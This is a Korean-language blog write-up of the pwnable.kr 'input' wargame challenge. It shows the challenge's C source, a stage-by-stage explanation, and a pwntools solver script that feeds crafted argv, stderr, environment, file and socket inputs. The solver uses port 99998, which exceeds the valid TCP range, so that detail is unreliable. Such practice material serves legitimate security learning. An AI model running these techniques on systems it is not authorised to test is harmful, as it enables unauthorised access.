#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

How to Exploit

Stage 1

if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

""로 NULL 값을 넣어주고, \x0a와 같은 경우 개행문자이기 때문에 그대로 넣어주면 argv가 모두 전달되지 않는다. 이를 따옴표로 묶어 문자열로 넣어준다.

Stage 2

stderr의 경로를 바꿔서 그 곳에 미리 원하는 값을 써놓자.

Stage 3

pwntool 이용하면 간단하게 풀린다.

Stage 4

Stage 2와 동일하게 해결.

Stage 5

socket 연결하는 포트 번호를 argv['C']에서 가져와서 서버를 연다. 그 서버에서 '\xde\xad\xbe\xef'를 받으면 된다.

/tmp/baek1234라는 디렉토리에서 실행을 하니 당연하게도 flag가 따지지 않는다. 그래서 같은 디렉토리 안에 flag라는 이름 파일을 만들고 원래 flag의 심볼릭링크를 걸어주자.
ln -s /home/input2/flag flag

Exploit Code

from pwn import *

argv_new = ['./input']
a = ['A']*64
a.append("")
a.append("\x20\x0a\x0d")
a.append("99998")
b = ['A']*32
argv_new = argv_new + a + b

with open('/tmp/baek1234/stderr.txt', 'a') as f:
    f.write('\x00\x0a\x02\xff')

with open('\x0a', 'w') as f:
    f.write('\x00\x00\x00\x00')

p=process(executable="/home/input2/input", argv = argv_new, stderr=open('/tmp/baek1234/stderr.txt'), env={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'})
p.send('\x00\x0a\x00\xff')

conn = remote('localhost', 99998)
conn.send("\xde\xad\xbe\xef")
conn.close()

p.interactive()

Capture The Flag

image

'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글

lotto  (0) 2020.03.07
leg  (0) 2020.03.07
horcruxes  (0) 2020.03.07
fd  (0) 2020.03.07
collision  (0) 2020.03.07

+ Recent posts